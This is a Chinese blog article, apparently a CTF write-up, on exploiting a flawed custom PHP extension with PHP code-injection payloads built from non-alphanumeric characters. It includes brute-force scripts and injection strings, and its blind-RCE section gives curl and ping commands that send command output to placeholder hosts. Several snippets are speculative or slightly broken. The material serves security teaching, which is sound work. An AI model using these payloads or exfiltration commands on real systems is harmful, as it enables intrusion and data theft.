当前位置: 首页 > news >正文

PHP扩展安全与无字符RCE绕过:从CTF题看纵深防御

1. 项目概述:从一道CTF题看PHP安全攻防的纵深

最近在复盘一些经典的CTF题目,长城杯的easy_extension这道题给我留下了很深的印象。它表面上是一道关于PHP扩展开发的题目,但内核却巧妙地串联起了PHP底层机制、扩展编写,以及一个非常经典的Web安全议题——无字母数字的RCE(远程代码执行)绕过。这道题就像一把钥匙,能同时打开“PHP应用层安全”和“PHP底层扩展”两扇门,对于想深入理解PHP安全体系的朋友来说,是个绝佳的研究样本。

简单来说,这道题模拟了一个场景:我们拿到了一个自定义的、功能存在缺陷的PHP扩展,目标是在无法使用常规字母、数字字符的情况下,利用这个扩展实现命令执行,最终拿到服务器上的flag。这不仅仅是一次“解题”,更是一次对PHP从Zend引擎到扩展接口,再到安全过滤机制的完整透视。无论你是对PHP扩展开发感兴趣,还是想深入研究Web安全中的代码执行绕过技巧,通过拆解这道题,都能获得远超题目本身的收获。接下来,我就把自己分析这道题的完整思路、技术细节和实操过程,毫无保留地分享出来。

2. 核心思路拆解:为什么是扩展+无字符RCE?

拿到题目,第一步永远是理解出题人的意图。easy_extension这个标题已经点明了两大核心:easy_extension(一个简单的扩展)和绕过技巧。我们需要将两者结合起来思考。

2.1 扩展作为漏洞的“发射台”

在常规的CTF Web题中,代码执行漏洞往往源于eval()assert()system()等危险函数的不当使用,或者反序列化等复杂利用链。但这道题引入了一个自定义扩展。这意味着什么?

首先,扩展是编译好的二进制文件(.so.dll),它的功能对PHP脚本是“黑盒”的。我们无法直接看到其内部逻辑,只能通过它暴露给PHP的函数类方法来与之交互。这要求我们具备逆向分析或动态调试扩展的能力,至少能通过PHP的get_defined_functions()或反射ReflectionExtension来探查它提供了什么。

其次,扩展运行在PHP进程内部,拥有更高的权限。一个编写不当的扩展,其危险程度远高于应用层代码。它可能直接操作内存、执行系统调用,或者暴露出一些本应被禁用的底层功能。题目中的“easy”很可能暗示这个扩展实现了一个功能,但这个功能在参数过滤上存在缺陷,可以被我们利用来“夹带私货”,最终实现RCE。

所以,解题的第一阶段目标很明确:弄清楚这个自定义扩展到底提供了什么功能,以及这个功能在哪里“不安全”

2.2 无字母数字RCE:极限环境下的代码构造

题目的另一个关键词是“无字母数字RCE”。这是一种在Web安全挑战中常见的限制场景:攻击载荷不能包含任何字母(a-z, A-Z)和数字(0-9)。这直接封杀了我们最直观的利用方式,比如system(‘ls’)echo 123

为什么会有这种限制?在实际的WAF(Web应用防火墙)或代码审计中,防守方可能会通过正则表达式过滤掉所有字母数字字符,试图让攻击者无法拼写出有意义的函数名或命令。这就要求攻击者必须利用PHP语言本身的一些“怪癖”和特性,从极其有限的字符集(通常只剩下一些特殊符号)中,像变魔术一样构造出可以执行的代码。

常见的技巧包括:

  • 利用PHP的字符串操作.(连接符)、{}(字符串下标访问)、~(按位取反)等。
  • 利用类型转换和常量truefalseNULLArray_GET等。
  • 利用PHP的自增操作‘a’++可以得到‘b’,从而从少量种子字符生成所有字母。
  • 利用异或、或、与等位运算:用两个特殊字符通过位运算生成目标字母。

这道题将这两种技术结合,意味着我们需要先通过扩展获得一个“跳板”或“种子”,这个跳板可能是一个字符串、一个函数名,或者一个能执行代码的上下文。然后,在这个跳板的基础上,运用无字母数字的技巧,最终拼装出我们想要的系统命令。扩展是“矛”,无字符技巧是“使用矛的方法”,两者缺一不可。

3. 环境准备与扩展初步分析

在开始真正的攻击之前,我们需要搭建一个可以分析的环境。由于题目通常只提供扩展文件(比如easy.so)和入口PHP脚本,我们需要在本地或可控的Docker环境中复现。

3.1 搭建PHP扩展调试环境

我个人的习惯是使用Docker,干净且可重复。这里以PHP 7.4为例(很多CTF题基于此版本)。

# Dockerfile FROM php:7.4-cli RUN apt-get update && apt-get install -y vim gdb curl RUN docker-php-ext-install sockets # 可选,安装一些常用扩展

构建并运行容器,将题目文件挂载进去:

docker build -t php-debug . docker run -it --rm -v $(pwd)/题目目录:/app php-debug bash

进入容器后,我们需要将题目提供的easy.so扩展加载到PHP中。假设扩展放在/app目录下。

  1. 检查扩展依赖:使用ldd命令查看扩展依赖哪些库,确保环境兼容。
    ldd /app/easy.so
  2. 编写php.ini或使用dl()
    • 方法一:创建/usr/local/etc/php/conf.d/easy.ini,写入extension=/app/easy.so
    • 方法二:在测试脚本中直接使用dl(‘easy.so’);。注意,dl()函数在某些PHP配置(如enable_dl=Off)或安全模式下可能被禁用,但在CTF环境中通常可用。我更喜欢第二种,更灵活。
  3. 验证扩展加载:编写一个测试脚本test.php
    <?php // 尝试动态加载 if (!extension_loaded('easy')) { if (!dl('easy.so')) { die('无法加载扩展'); } } // 查看扩展信息 $ext = new ReflectionExtension('easy'); echo "扩展函数:\n"; var_dump($ext->getFunctions()); echo "\n扩展类:\n"; var_dump($ext->getClasses()); ?>
    运行php /app/test.php,就能看到这个扩展暴露了哪些函数和类。这是我们的第一个突破口

注意:有些扩展可能不是以dl方式加载,或者需要特定编译参数。如果dl失败,可以尝试在Dockerfile中编译PHP时静态集成,但这更复杂。通常CTF提供的扩展都是标准编译的,dl()即可。

3.2 动态探查扩展功能

假设通过上面的脚本,我们发现easy扩展注册了一个名为easy_func的函数。接下来就要深入分析这个函数的行为。

  1. 黑盒测试:编写脚本,用各种参数调用easy_func,观察返回值、错误信息或副作用。

    <?php $test_cases = [ “”, // 空字符串 “test”, “123”, “<?php phpinfo(); ?>“, “.”, “|”, // 管道符 “`ls`”, // 反引号 array(), // 数组 true, false, NULL ]; foreach ($test_cases as $case) { echo “输入: “; var_dump($case); echo “输出: “; var_dump(@easy_func($case)); echo “—————-\n”; } ?>

    重点关注:函数是否执行了代码?是否返回了特殊字符串?是否对输入做了过滤?是否产生了警告或错误?

  2. 结合题目入口:查看题目给出的入口PHP文件(比如index.php)。它如何调用扩展函数?用户输入(如$_GET[‘cmd’])是否直接或经过简单处理就传给了扩展函数?这是寻找利用点的关键。

实操心得:在这个阶段,一定要有耐心,像测试一个API一样测试这个扩展函数。记录下所有异常行为。例如,你可能发现当输入是“.”时,函数返回了“system”字符串的一部分;或者输入是“<?php”时,函数直接返回了“phpinfo”。这些“异常”就是后续利用的基石。

4. 无字母数字RCE技巧深度剖析

在等待扩展分析结果的同时,我们可以先深入复习一下无字母数字RCE的“武器库”。假设扩展最终给了我们一个可控的字符串片段,我们如何用它造出完整的system(‘ls /’)

4.1 核心原理:PHP的字符串与位运算魔法

PHP是弱类型语言,字符串和数字在某些上下文中可以互换。同时,PHP提供了丰富的位运算符,可以对字符串的ASCII码进行操作。

  • 取反(~):这是最强大的武器之一。在PHP中,对一个字符串进行按位取反,会得到另一个字符串。例如:

    echo ~“system”; // 输出乱码,但实际上是”system”每个字节取反的结果 // 我们可以通过二次取反还原 $a = ~“system”; $b = ~$a; // $b 等于 “system”

    关键在于,~“system”这个表达式本身不包含字母数字,它是由特殊字符组成的。如果我们能通过扩展得到一个这样的“取反后”的字符串,再对它取反,就能得到原始的命令。

  • 异或(^)、或(|)、与(&):两个字符串进行位运算,会得到一个新字符串。我们可以用两个由特殊字符组成的字符串A和B,通过A^BA|B来生成目标字母。

    // 例如,用‘{’和‘~’异或得到‘s’ // ‘{’的ASCII是123 (0x7B), ‘~’是126 (0x7E), ‘s’是115 (0x73) // 123 ^ 126 = 117? 不对。我们需要计算:实际上需要找到两个字符,其异或结果为115。 // 这是一个数学问题,可以写脚本暴力破解。 $char_s = (“{“^”~”); // 这只是一个示例,实际组合需要计算
  • 自增(++):PHP中,字符串可以自增。‘a’++得到‘b’‘z’++得到‘aa’。如果我们能获得一个初始字母(哪怕是通过非常规手段得到的),就可以通过自增生成所有字母。但注意,无字母数字限制下,获得第一个字母本身就是挑战。

4.2 实战构造:从零到system()

假设我们现在手头只有一堆特殊符号,比如!@#$%^&*()_+-=[]{}|;:‘“,.<>/?~。我们的目标是构造出字符串“system”

方法一:纯取反构造(如果允许~~运算符在无字母数字限制中有时是被允许的。我们可以直接构造:

// system 每个字符的取反表示(需要查ASCII码表计算) // s(115) -> ~s = chr(~115) = chr(140) 对应一个扩展ASCII字符,显示为乱码 // 但我们可以直接写出取反后的字符串字面量(在编辑器中输入) $cmd = ~“\x8c\x8d\x9a\x89\x9d\x8e”; // 这串十六进制是”system”取反后的结果 // 那么 $cmd 就是 “system”

但问题来了,如何在不写字母数字的情况下得到这串十六进制字符串“\x8c\x8d…”?这本身可能就需要利用扩展。扩展可能直接返回这样一个乱码字符串给我们。

方法二:异或构造(更通用)我们需要写一个小脚本来暴力破解,找出用哪些特殊字符两两异或可以得到目标字符。

<?php $target = ‘system’; $allowed_chars = array_merge( range(‘!’, ‘/’), // 标点符号1 range(‘:’, ‘@’), // 标点符号2 range(‘[‘, ‘`’), // 标点符号3 range(‘{‘, ‘~’) // 标点符号4 ); for ($i = 0; $i < strlen($target); $i++) { $t = $target[$i]; $found = false; foreach ($allowed_chars as $c1) { foreach ($allowed_chars as $c2) { if (($c1 ^ $c2) == $t) { echo “字符 ‘{$t}’ 可由 ‘{$c1}’ ^ ‘{$c2}’ 得到\n”; $found = true; break 2; } } } if (!$found) { echo “字符 ‘{$t}’ 未找到组合\n”; } } ?>

运行这个脚本,你可能会得到类似这样的结果:

字符 ‘s’ 可由 ‘^’ ^ ‘J’ 得到 字符 ‘y’ 可由 ‘^’ ^ ‘L’ 得到 …

但注意,‘J’‘L’是字母!这违反了规则。所以我们需要三字符甚至多字符组合,或者利用扩展给我们的“非字母数字但又不是普通特殊字符”的输入。这就是为什么题目要结合扩展——扩展可能给我们提供一些“特殊”的字符资源。

方法三:利用PHP的字符串解析特性PHP有一些神奇的特性,比如“{$_GET[‘a’]}”可以执行变量,“${‘_GET’}”也可以。如果我们能构造出“_GET”这个字符串,再结合${}语法,就可以从GET参数中读取更多payload。而无字符构造“_GET”相对容易一些(比如利用.连接符和已有的片段)。

重要提示:在PHP中,反引号 `` 执行系统命令,但它是语言结构,不是函数。有时shell_exec()system()等函数被禁用,但反引号仍可用。我们的目标最终往往是构造出 `ls` 或$(ls)这样的shell命令片段。

4.3 利用扩展作为字符“来源”

现在,我们把扩展分析的结果代入。假设通过黑盒测试,我们发现:

  • 当向easy_func()传入参数“.”时,它返回字符串“s”
  • 当传入参数“|”时,它返回字符串“y”
  • … 以此类推,它似乎是一个简单的字符映射器。

那么,我们的利用链就清晰了:

  1. 通过多次调用easy_func,传入不同的特殊字符,获得“s”,“y”,“s”,“t”,“e”,“m”
  2. 使用PHP的.连接符将它们拼接成“system”。注意,连接符.是允许的。
  3. 同理,构造出命令参数,比如“ls /”
  4. 最后,如何执行?如果扩展还提供了一个危险函数,或者我们能用无字符技巧构造出“eval”或反引号,就能完成。更常见的是,扩展函数本身可能就存在代码执行漏洞,比如easy_func(“; ls /”),如果扩展内部调用了system()eval(),且过滤不严,我们直接拼接命令即可。

另一种可能:扩展函数easy_func()本身的行为就是eval()传入的字符串的一部分。例如,它的C代码可能是:

PHP_FUNCTION(easy_func) { char *arg; size_t arg_len; if (zend_parse_parameters(ZEND_NUM_ARGS(), “s”, &arg, &arg_len) == FAILURE) { RETURN_NULL(); } // 危险操作:直接将参数作为PHP代码的一部分拼接并执行 char *code; spprintf(&code, 0, “echo ‘%s’;”, arg); // 这里存在命令注入! zend_eval_string(code, NULL, “easy extension” TSRMLS_CC); efree(code); }

如果是这样,我们只需要注入合适的PHP代码即可,例如“’; system(‘ls’); //“,闭合原来的单引号,插入我们的代码,然后注释掉后面部分。这就是典型的代码注入。

5. 完整利用链构建与实战演练

让我们基于一个合理的假设来模拟整个攻击流程。假设通过分析,我们得知:

  1. 扩展功能easy扩展提供了一个函数get_char($input)。当$input是一个特殊符号时,它返回一个对应的字母或数字(映射关系未知,需爆破)。
  2. 入口点:题目入口index.php代码如下:
    <?php include ‘easy.so’; // 假设自动加载 $cmd = $_GET[‘c’] ?? ‘.’; $result = get_char($cmd); echo “Result: “ . $result; ?>
  3. 限制:服务器端可能有preg_match(‘/[a-z0-9]/i’, $_GET[‘c’])之类的过滤,所以我们传入c的参数不能有字母数字。

5.1 第一步:爆破字符映射表

我们需要知道传入什么符号能得到什么字符。由于无法直接传字母数字去测试,我们可以写一个脚本,遍历所有可打印的特殊符号(ASCII 33-126,去掉字母数字),然后观察返回。

<?php // attack.php - 在本地模拟或通过远程请求(如果允许) $special_chars = []; for ($i = 33; $i <= 126; $i++) { $char = chr($i); if (!ctype_alnum($char)) { $special_chars[] = $char; } } // 假设我们知道目标URL $url = “http://target.com/index.php”; $map = []; foreach ($special_chars as $sc) { $full_url = $url . “?c=” . urlencode($sc); $response = file_get_contents($full_url); // 简单起见,实际可用curl // 解析返回的Result: x if (preg_match(‘/Result: (\S)/’, $response, $matches)) { $map[$sc] = $matches[1]; } } file_put_contents(‘map.json’, json_encode($map, JSON_PRETTY_PRINT)); echo “映射表已保存。\n”; print_r($map); ?>

运行后,我们可能得到类似{“.”:“s”, “|”:“y”, “@”:“t”, “#”:“e”, “$”:“m”, “%”:“l”, “^”:“s”}的映射表。注意,不同符号可能映射到相同字母。

5.2 第二步:构造命令字符串

现在我们要构造“system”“ls /”

  • “system”=get_char(‘.’) . get_char(‘|’) . get_char(‘@’) . get_char(‘#’) . get_char(‘$’) . get_char(‘^’)
  • “ls /”=get_char(‘%’) . get_char(‘!’) . ‘ ‘ . get_char(‘&’)(假设’!’对应’l’,’&‘对应’/’,空格直接传)

但这里有个问题:我们如何在一次请求中完成拼接?index.php只调用一次get_char。我们需要利用PHP的其他特性,比如:

  1. 参数污染:传递数组?c[]=.&c[]=|&c[]=@...,但函数可能只接收字符串。
  2. 多次请求:先获取各个字符,存储在本地,然后构造最终Payload。但在CTF中,通常需要一次完成。
  3. 利用扩展本身的拼接:也许扩展函数内部有拼接功能?或者,更关键的是,入口代码可能存在其他漏洞

重新审视入口代码:

$result = get_char($cmd); echo “Result: “ . $result;

如果get_char的返回值我们可控,且echo那里存在代码注入呢?不,echo只是输出。但如果代码是eval(“echo ‘“ . get_char($cmd) . “‘;”),那就完全不同了。所以我们必须确认get_char的行为。

假设最坏(对出题人最好)的情况:get_char内部存在代码执行,且参数$cmd被直接拼接进eval语句。那么我们的Payload就不是为了获取字符,而是为了注入代码。

5.3 第三步:Payload最终构造与执行

假设经过逆向(或猜测),我们发现get_char的实现类似于:

spprintf(&code, 0, “return ‘%c’;”, input_char); // input_char是$cmd的第一个字符 zend_eval_string(code, …);

它用return ‘X’;包裹输入字符的第一个字符,然后执行。那么,如果我们传入c=‘;phpinfo();//,经过urlencode后是c=%27%3Bphpinfo()%3B%2F%2F。在C的sprintf中,这会变成:

spprintf(&code, 0, “return ‘%c’;”, “‘;phpinfo();//“); // 注意:%c只取第一个字符,即单引号“’” // 最终 code = “return ‘‘;”; // 第一个字符是单引号,被%c格式化为字符常量

这不行,因为%c只取第一个字符。我们需要利用格式化字符串漏洞?不,PHP扩展开发中更常见的是直接用Z_STRVAL_P获取字符串指针。

假设它是:

zend_string *arg = Z_STR_P(param); char *code; spprintf(&code, 0, “echo ‘%s’;”, ZSTR_VAL(arg)); // 直接拼接整个字符串参数!

那么我们的机会就来了。传入c=.,代码变成echo ‘.’;,安全。但如果我们传入c=‘;system(‘ls’);//,代码变成:

echo ‘‘; system(‘ls’);//‘;

PHP会执行echo ‘‘;(空语句),然后执行system(‘ls’);//‘被注释掉。Bingo!RCE达成。

但我们的限制是无字母数字‘;system(‘ls’);//中包含字母s,y,s,t,e,m,l。我们需要用无字母数字的方式构造这个字符串。

我们可以利用上一步的字符映射。我们需要构造的字符串是:“’; . get_char(‘.’) . get_char(‘|’) . … . “(‘“ . get_char(‘%’) . get_char(‘!’) . “‘);//“。但这太复杂,且需要多次调用get_char

关键转折:也许get_char函数本身可以被我们用来“生成”字母,然后我们在参数中通过PHP的.连接符现场拼接。但入口点只调用一次get_char

真正的技巧:PHP允许复杂的表达式作为函数参数。我们可以这样调用:

index.php?c=’.‘.get_char(‘|’).’‘.get_char(‘@’).’‘.get_char(‘#’).’‘.get_char(‘$’).’‘.get_char(‘^’).’‘.get_char(‘%’).’‘.get_char(‘!’).’‘.get_char(‘&’)

等等,这不行,因为c的值会被直接传给get_char,而get_char内部是C函数,不认识PHP的.操作符和函数调用。

所以,我们需要换个思路:命令执行不一定非要system函数。如果扩展提供了直接执行命令的函数呢?或者,我们可以利用PHP的assert函数,结合字符串动态函数调用。

假设我们能通过get_char映射得到字符串“assert”,然后我们可以这样调用:$_GET[‘f’]($_GET[‘a’])。但_GET本身也有字母。这又回到了无字符构造_GET的问题。

一个经典的PHP无字符RCE Payload

$_=‘’.[].‘’; // 得到字符串‘Array’ $__=$_[2].$_[0].$_[3].$_[1]; // 从‘Array’中取字符拼出‘_GET’ $___=$$__; // 可变变量,得到$_GET数组 $___[‘cmd’]($___[‘arg’]); // 相当于 $_GET[‘cmd’]($_GET[‘arg’])

但这里用到了[](数组),它可能被允许。我们需要从扩展获取关键的初始字符,比如“A”(来自‘Array’的第一个字符)。

如果get_char(‘.’)返回‘A’,那么我们就可以开始了:

// 假设我们能让服务器执行如下代码: $A = get_char(‘.’); // $A = ‘A’ $_=$A.[].‘’; // $_ = ‘AArray’? 不对,需要‘Array’。 // 更直接地,如果get_char能返回‘r’, ‘r’, ‘a’, ‘y’等,我们可以拼出‘Array’。

这条路非常曲折,需要极其精巧的构造。这很可能就是题目的难点所在。

5.4 简化攻击:利用扩展自身的缺陷

经过以上分析,最合理的攻击路径可能是:扩展函数get_char本身存在代码注入漏洞,且注入点允许我们传入一个经过无字符编码后的Payload,该Payload在解码后能形成有效的PHP代码。

例如,扩展内部可能这样实现:

PHP_FUNCTION(get_char) { char *arg; size_t arg_len; zend_string *decoded; if (zend_parse_parameters(ZEND_NUM_ARGS(), “s”, &arg, &arg_len) == FAILURE) { RETURN_NULL(); } // 假设它做了一个“解密”或“转换”,比如将特定符号转换为字母 decoded = decode_special_string(arg); // 自定义函数 // 然后危险地使用这个解码后的字符串 zend_eval_string(ZSTR_VAL(decoded), NULL, “easy extension” TSRMLS_CC); zend_string_release(decoded); }

decode_special_string可能很简单,比如将‘.’映射为‘p’‘|’映射为‘h’,‘@’映射为‘p’,等等。如果我们传入的字符串是“.|@”,解码后是“php”。然后zend_eval_string(“php”, …)会执行什么?它会尝试将“php”作为PHP代码执行,这会产生一个未捕获的异常或错误,但不会直接RCE。

我们需要解码后得到“system(‘ls’)”。这意味着我们需要找到一串特殊符号,经过decode_special_string后恰好变成这串代码。这类似于一种编码或替换密码。我们需要逆向decode_special_string的逻辑,或者暴力破解。

暴力破解思路:如果我们能多次调用get_char(比如通过参数数组,或利用其他PHP特性触发多次),我们可以尝试所有单字符输入,建立完整的映射表。然后,像破解替换密码一样,找出能拼出“system(‘ls’)”的符号序列。

假设映射表是固定的单字符替换,那么:

  • 我们通过爆破得到:.-> ‘s’,|-> ‘y’,@-> ‘s’,#-> ‘t’,$-> ‘e’,%-> ‘m’,^-> ‘(‘,&-> ‘‘’,*-> ‘l’,(-> ‘s’,)-> ‘‘’,--> ‘)’ … 等等。
  • 那么Payload就是:c=.|@#$%^&*(),解码后就是system(‘ls’)

最终,我们向服务器发起请求:

GET /index.php?c=.|@#$%^&*() HTTP/1.1

服务器端get_char(“.|@#$%^&*()”)内部解码得到“system(‘ls’)”,然后zend_eval_string执行它,完成命令执行,输出目录列表。

6. 常见问题与排查技巧实录

在实际操作中,即使思路正确,也会遇到各种问题。下面是我在解这类题目时踩过的坑和总结的技巧。

6.1 扩展加载失败

  • 问题dl(‘easy.so’)失败,提示“Cannot load module”“undefined symbol”
  • 排查
    1. PHP版本不匹配:扩展可能针对特定PHP版本(如7.2)编译,而你的环境是7.4或8.x。使用php -v确认版本,尽量使用与题目描述或文件时间戳接近的PHP版本。
    2. 架构不匹配:64位系统加载了32位扩展,或反之。用file easy.so查看文件信息。
    3. 依赖缺失:用ldd easy.so查看动态库依赖,确保所有not found的库在系统中都存在。可能需要安装libc6libssl等开发包。
    4. 加载顺序:某些扩展依赖其他扩展(如jsonmbstring)。尝试在php.ini中调整加载顺序,或确保依赖扩展已加载。
  • 解决:在Dockerfile中指定准确的PHP版本,并安装常见依赖。最省事的办法是直接使用题目提供的完整Docker镜像(如果有的话)。

6.2 字符映射爆破不准确

  • 问题:爆破脚本得到的映射表不稳定,或者返回的字符不是我们想要的。
  • 排查
    1. 输出干扰:题目页面可能除了Result:还有其他HTML输出,导致正则匹配错误。使用更精确的正则,或直接抓取整个响应然后手动分析。
    2. 多字符返回get_char可能返回多个字符,而我们的正则只匹配了第一个。修改正则(\S+)或直接截取特定位置(如explode(‘: ‘, $response)[1])。
    3. 状态依赖:扩展可能有内部状态,多次调用结果不同。确保每次请求是独立的(无Cookie、Session影响)。
    4. 输入长度:函数可能只处理第一个字符,也可能处理整个字符串。测试时分别传入单字符和多字符。
  • 解决:编写更健壮的爆破脚本,记录原始响应,并人工抽样验证。使用curl代替file_get_contents以获得更精确的控制。

6.3 构造的Payload不执行

  • 问题:精心构造的Payload发送后,服务器返回了正常页面,但没有命令执行结果。
  • 排查
    1. 字符编码/转义:URL中的特殊字符需要正确编码。确保你的Payload在传输后保持不变。使用urlencode()函数处理整个参数字符串。
    2. 服务器端过滤:除了无字母数字,可能还有其他过滤,如长度限制、禁用某些符号(${})。尝试简化Payload,用最短的测试phpinfo()echo 1;
    3. 执行上下文eval()执行的代码可能在一个受限的沙盒内,或者disable_functions禁用了命令执行函数。尝试使用scandir(‘.’)代替system(‘ls’),或者用var_dump(get_defined_functions())查看可用函数。
    4. 输出被吞没:命令执行了,但输出被重定向或没有回显到页面。尝试使用system(‘ls / > /tmp/out.txt’)写入文件,然后通过其他方式读取(如包含文件漏洞)。或者使用passthru()shell_exec()等可能有不同输出行为的函数。
    5. Payload逻辑错误:你的无字符Payload在解码或拼接后,生成的PHP代码语法有误。在本地用相同PHP版本测试你的Payload生成逻辑。可以使用eval()包裹生成的字符串,看是否报错。
  • 解决:采用“分步推进”策略。先测试最简单的注入:c=‘;echo‘hello’;//。如果成功,再逐步替换为无字符版本。使用错误控制运算符@来抑制可能出现的警告。

6.4 时间盲注与无回显RCE

  • 问题:命令执行了,但没有任何输出(盲注)。这在CTF中也很常见。
  • 技巧
    1. 延时判断:使用sleep(5)命令。如果页面响应延迟了5秒,说明代码执行了。Payload例如:c=‘;sleep(5);//
    2. DNS外带:使用curl http://your-domain.com/$(whoami)ping -c 1 $(whoami).your-domain.com,在你的DNS日志中查看子域名,从而泄露命令输出。这需要你有公网服务器。
    3. HTTP请求外带:使用wgetcurl将命令结果作为参数发送到你的服务器。c=‘;curl http://yourserver.com/?c=$(ls|base64);//
    4. 写文件再读取:如果Web目录可写,将结果写入文件,然后通过正常的Web路径访问。c=‘;system(‘ls / > /var/www/html/out.txt’);//,然后访问/out.txt

6.5 逆向扩展二进制文件

对于更复杂的题目,可能需要直接逆向easy.so

  • 工具objdump -d easy.so(反汇编),strings easy.so(查看字符串常量),radare2Ghidra(更强大的静态分析)。
  • 目标:找到get_char对应的C函数(通常是zif_get_char),分析其汇编或反编译代码,直接理解其逻辑。这可能涉及对PHP扩展API(如zend_parse_parametersRETURN_STRING)的理解。
  • 技巧:在strings输出中搜索“get_char”“PHP_FUNCTION”等关键字。找到函数后,重点看它对输入参数的处理:是否有strlenmemcpysprintfzend_eval_string等危险函数调用。

7. 防御视角与安全启示

作为开发者,从这道题我们能学到什么?

  1. 永远不要信任用户输入:这是铁律。即使在扩展的C代码中,所有来自ZEND_PARSE_PARAMETERS的参数都必须视为不可信的。必须进行严格的长度、内容检查。
  2. 避免在扩展中直接执行动态代码:除非绝对必要,否则不要在PHP扩展中使用zend_eval_stringsystem等函数。如果必须使用,要对输入进行白名单过滤。
  3. 小心字符串格式化函数sprintfvsprintf等函数如果格式字符串和参数都由用户控制,可能导致格式化字符串漏洞。在C中,这可能导致内存读写,非常危险。
  4. 无字符RCE的防御:在应用层,单纯过滤字母数字远远不够。需要结合上下文,对允许的字符集进行极严格的白名单限制,并考虑使用安全的解析器或沙盒来执行动态逻辑。
  5. 最小权限原则:运行PHP的进程(如www-data)应具有尽可能少的系统权限。这样即使被RCE,攻击者能造成的破坏也有限。

对于安全研究人员而言,这道题展示了如何将底层漏洞(扩展实现缺陷)与应用层绕过技巧(无字符RCE)结合,形成一条完整的攻击链。它要求我们不仅要有Web安全的思维,还要有一定的二进制和PHP内核知识。这种跨层的知识融合,正是现代安全攻防的迷人之处。

http://www.jsqmd.com/news/1285601/

相关文章:

  • 分布式光伏发展现状与选型要点解析
  • Grid++Report脚本实战:5大场景实现动态字段计算与报表逻辑控制
  • Java开发环境搭建:从JDK安装到多版本管理的完整指南
  • 2026 年平乡比较好的集分气缸批发厂家哪个好,这玩意儿竟是工业管道的“隐形心脏”?-智能锅炉 - 鉴选官
  • MAX30100心率血氧模块:从PPG原理到Arduino实现的完整开发指南
  • Otsu算法:从原理到实战,实现图像二值化的自动阈值计算
  • 基于CH554单片机的USB音频播放器设计与实现:PWM DAC方案详解
  • 基于Raft分布式Kv存储:leaderHeartBeatTicker
  • 全球蓄热瓷球市场竞争动态分析及未来前景展望报告2026年版
  • ARM汇编实战:从零点亮LED,深入理解GPIO与内存映射I/O
  • 学嵌入式和C语言编程|第七天:循环嵌套、循环辅助语句与数组
  • 豆包AI商业实战手册:33个副业变现案例解析
  • 十三层大一统模型下华夏六家核心同源体系——气化运化、天人混元完整论证
  • OpenClaw轻量级AI框架:模块化设计与跨平台部署
  • 2026 年现阶段,山东诚信的代做标书企业有哪些,投标小白如何靠它轻松中标? - 领域鉴赏官
  • 从零部署NAXSI:Nginx原生WAF模块的配置、白名单策略与实战调优
  • JavaScript乘性操作符原理与应用全解析
  • 壹遮安电动雨棚质量可靠吗 十大用户横评 所见即所得 - 工业推荐榜
  • VRTK:Unity VR开发核心交互框架深度解析与实战指南
  • HDMI 2.1核心技术解析:FRL、DSC、VRR与ALLM如何重塑视听体验
  • 生物素-冰片Biotin-Borneol|生物素 - 龙脑 冰片靶蛋白 Pull-down 垂钓筛选工具
  • 运算放大器反相与同相电路:原理、区别与工程选型指南
  • 永久保存你的QQ空间记忆:GetQzonehistory完整备份方案
  • 基于Halton序列的图像加密:原理、Matlab实现与相关性分析
  • Unity翻书插件Book-Page Curl Pro:从原理到实战的完全指南
  • 车载通信新选择:SEN协议原理、硬件设计与实战调优
  • 普中51单片机ISP下载全流程详解:从CH340驱动到STC-ISP操作避坑指南
  • 2026成都壹遮安户外用品服务口碑推荐强势出炉,零套路不踩坑,选购看这篇就够 - myqiye
  • Cortex-M内核PPA深度解析:性能、功耗与面积的嵌入式权衡艺术
  • 2026广东叛逆青少年成长学校口碑推荐 价格透明不踩坑 - 工业品网